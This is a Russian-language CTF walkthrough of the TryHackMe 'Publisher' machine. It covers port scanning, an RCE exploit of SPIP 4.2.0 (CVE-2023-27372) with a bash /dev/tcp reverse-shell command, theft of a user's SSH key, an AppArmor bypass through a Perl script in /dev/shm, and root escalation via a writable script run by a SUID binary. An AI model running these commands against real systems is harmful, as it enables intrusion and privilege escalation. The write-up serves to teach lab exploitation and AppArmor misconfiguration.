CyberSecurity
September 27, 2024

История одного привеска: AppArmor

Предисловие

Всем привет! С началом ведения этого канала (который по сути был заметками энтузиаста, желающего как можно скорее вкатиться в ИБ) я делал немало материалов, где делился информацией, полученной в ходе решения тех или иных CTF. Суть была проста: не просто показать решение, а ещё и привести к нему необходимую теорию, чтобы читающий мог полностью понять контекст той или иной уязвимости. Сейчас времени на решение CTF стало меньше, интересные кейсы из жизни обрастают NDA, в силу чего до канала не доходит всё то, чем бы я так хотел поделиться. Но периодически я всё же возвращаюсь к решению тасков, и об одном из них сегодня пойдёт речь. Этот материал, как и весь материал в канале, призван научить вас чему-то новому, рассказать о том, что многие, возможно, не знали или не слышали. А для тех, кто знал или слышал, взглянуть на мою (или уже нашу) точку зрения при решении вопроса. Почему нашу? Этот материал я писал не один, а вместе с @collapsz, одним из моих учеников, которого я своё время вдохновил на поедание питсы🍕 (и изучение кибербеза). Не будем долго тянуть и приступим!

Введение

Сегодняшний материал — это тоже своеобразная заметка, сформированная после решения таска на одной из платформ. Мы будем препарировать Publisher, комнату с THM.

Для решения этой комнаты нам потребуется базовый набор инструментов:

Поехали разбираться!

Первоначальный доступ

Спавним машинку, и первым делом, само собой, запускаем сканирование портов

  • используем nmap с флагами -sC и -sV для определения сервисов и их версий;
  • результат записываем в файл nmap_initial.
sudo nmap -sC -sV 10.10.177.241 > nmap_initial

На выводе получаем стандартный набор портов – 80 и 22. Видим, что на 80 порту крутится Apache 2.4.41, а на 22 – OpenSSH 8.2p1.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 03:31 EDT
Nmap scan report for 10.10.177.241
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.68 seconds

Никаких задокументированных уязвимостей, которые могли бы нам помочь проломить вэб, на эту версии ПО нет, а на 22 порту нас, очевидно, никто не ждет, поэтому отправимся изучать 80, предварительно закинув адрес и доменное имя машины в hosts.

sudo echo "10.10.200.194 publisher.thm" | sudo tee -a /etc/hosts

На 80 порту нас встречает полностью неинтерактивный лендинг CMS Spip, ловить здесь особо нечего, исходный код страниц тоже ничего интересного не расскажет.

Попробуем поискать директории

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://publisher.thm/FUZZ

Находим директорию /spip:

Интересного, казалось бы, ничего нет, однако в коде страницы находим версию CMS – Spip 4.2.0.

Немного погуглив, находим CVE-2023-27372 на эту версию CMS.

Суть уязвимости заключается в возможности удаленного выполнения кода из-за некорректной обработки сериализации, в рамках этой статьи мы не будем подробно на этом останавливаться (тем более про частные случаи сериализации я писал на своём канале). Клонируем репозиторий, запускаем эксплоит и ловим обратный шелл:

python3 CVE-2023-27372.py -u http://10.10.200.194/spip/ -c 'bash -c "bash -i >& /dev/tcp/10.9.1.23/4444 0>&1"' -v

Продвижение

Итак, мы попали в систему:

Немного изучив машину, мы выяснили, что наша следующая цель – пользователь think, а в его домашней директории нас дожидался его ssh-ключ:

Забираем себе этот ключ и подключаемся с ним по ssh:

ssh think@10.10.57.202 -i think.ssh

И здесь мы, наконец, подобрались к тому, из-за чего этому материалу было суждено увидеть свет – эскалация привилегий. Мы загрузили на машинку LinPEAS (ультимативный скрипт для поиска векторов эскалации привилегий), однако при попытке выдать ему права на исполнение получили следующее:

Возникает непонимание, но вернёмся к этому позже. Обойти это ограничение удалось путем предварительной установки необходимых прав перед копированием файла на машину:

chmod +x linpeas.sh
scp -i /home/kali/thm/publisher/think.ssh /home/kali/thm/publisher/linpeas.sh think@publisher.thm:/home/think/1.sh

После запуска LinPEAS нашел SUID-бит на исполняемом файле, не являющимся стандартным для Unix-систем:

Декомпилировав код, мы увидели следующую картину:

В итоге бинарник выполняет следующую команду:

/bin/bash -p /opt/run_container.sh 

Несмотря на то, что у нас есть права на чтение директории /opt, прочитать её содержимое нам не удалось – почему так?

Однако, прочитать содержимое run_container.sh, как и права на этом файле, удалось:

Сразу можно заметить, что у нас есть права на запись в этот файл, а значит, SUID-бинарник выполнит любой код, который мы впишем в этот файл, от имени рута. Казалось бы, на этом машина заканчивается – но нет. Попытка изменить содержимое файла run_container.sh закончилась следующим:

Почему же так вышло? Причина этого, конечно же, AppArmor.

AppArmor — программный инструмент, основанный на политиках безопасности (известных также как профили), которые определяют, к каким системным ресурсам и с какими привилегиями может получить доступ то или иное приложение. AppArmor реализует Mandatory Access Control (MAC), привязывая атрибуты контроля доступа непосредственно к программам, а не к пользователям. Во время загрузки ОС AppArmor загружает профили в ядро, и эти профили определяют, к каким ресурсам (сетевым подключениям, raw-сокетам, файлам) та или иная программа может получить доступ.

Существует два режима работы для профилей AppArmor:

  • Enforcement Mode — этот режим активно применяет ограничения, описанные в профиле, и блокирует действия, которые их нарушают. AppArmor также и регистрирует любые попытки нарушения политик через syslog или auditd.
  • Complain Mode — в этом режиме AppArmor не блокирует действия. Вместо этого он просто регистрирует попытки нарушения профилей.

Профили AppArmor обычно можно найти в /etc/apparmor.d/. С помощью sudo aa-status можно получить список двоичных файлов, которые ограничены профилем AppArmor. Для поиска профиля под конкретный бинарь необходимо взять его полный путь в системе, изменить символы "/" на точки в пути и добавить в начало /etc/apparmor.d/. Например, профиль AppArmor для /usr/bin/man будет находиться в /etc/apparmor.d/usr.bin.man

Вернёмся к нашей машине. Если проверить содержимое файла /etc/passwd, мы увидим, что у пользователя think по умолчанию установлена оболочка ash

think@publisher:/$ cat /etc/passwd | grep think
think:x:1000:1000:,,,:/home/think:/usr/sbin/ash

Путь — /usr/sbin/ash, меняем / на ., получаем usr.sbin.ash. Теперь пытаемся прочитать профиль, соответствующий нашей оболочке, и видим следующую картину:

think@publisher:/$ cat /etc/apparmor.d/usr.sbin.ash
#include <tunables/global>

/usr/sbin/ash flags=(complain) {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}

Таким образом, наша задача – воспользоваться мисконфигурациями в настройке AppArmor для оболочки ash, получить "полноценный" шелл, переписать run_container.sh и захватить рута.

Приступим!

Для начала проанализируем конфигурацию ash:

  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,

Здесь видим следующее:

  • deny opt/ r означает запрет директории на чтение
  • deny /opt/** w означает рекурсивный запрет директории на запись, т.е. мы не можем писать ни в /opt/, ни в какую-либо из её субдиректорий
  • deny /tmp/** w аналогично
  • deny /dev/shm w – мы не можем писать в /dev/ и не можем изменять директорию /dev/shm, однако в данном случае это правило не является рекурсивным. Проверим директорию /dev/shm/ на возможность создания там нового файла:

Файл записан. Теперь нужно подумать, как нам выйти за пределы ash. Помимо кучи других исполняемых файлов на машине присутствует интерпретатор языка Perl:

think@publisher:/dev/shm$ ls -la /usr/bin/perl
-rwxr-xr-x 2 root root 3478464 Nov 23  2023 /usr/bin/perl

Perl – это высокоуровневый язык программирования, который умеет, в том числе, работать с системными вызовами.

Благодаря этому мы, находясь в ash, можем обратиться к perl и запустить через него /bin/sh, тем самым сняв с себя ограничения, которые мы нашли в конфигурации AppArmor ash. Чтобы реализовать такую "сложную" процедуру, потребуется лишь пара шагов. Первым делом мы записываем команду для вызова /bin/sh в скрипт-файл shell.pl и располагаем этот скрипт в директории /dev/shm/, поскольку знаем, что у нас есть возможность записывать файлы в эту директорию.

echo -e '#!/usr/bin/perl\nexec "/bin/sh"' > /dev/shm/shell.pl
  • Флаг -e используется для включения интерпретации бэкслеша, который используется в нагрузке.

Далее мы добавляем нашему скрипту права на выполнение и просто его запускаем:

chmod +x /dev/shm/shell.pl
./shell.pl

В результате мы получаем unrestricted шелл, внутри которого ограничения AppArmor не работают. Чтобы в этом убедиться, можем просто прочитать содержимое директории /opt/, к которому мы не имели доступа ранее:

Эскалация

Теперь, когда у нас на руках полноценный шелл, возвращаемся к нашему вектору эскалации и пишем в run_container.sh необходимый нам код:

echo '/bin/bash -p' > run_container.sh

Теперь, как только мы запустим бинарник /usr/sbin/run_container, он сразу же выполнит код run_container.sh, в который мы записали вызов шелла:

Так, мы получили привилегированный шелл, и осталось лишь собрать флаги!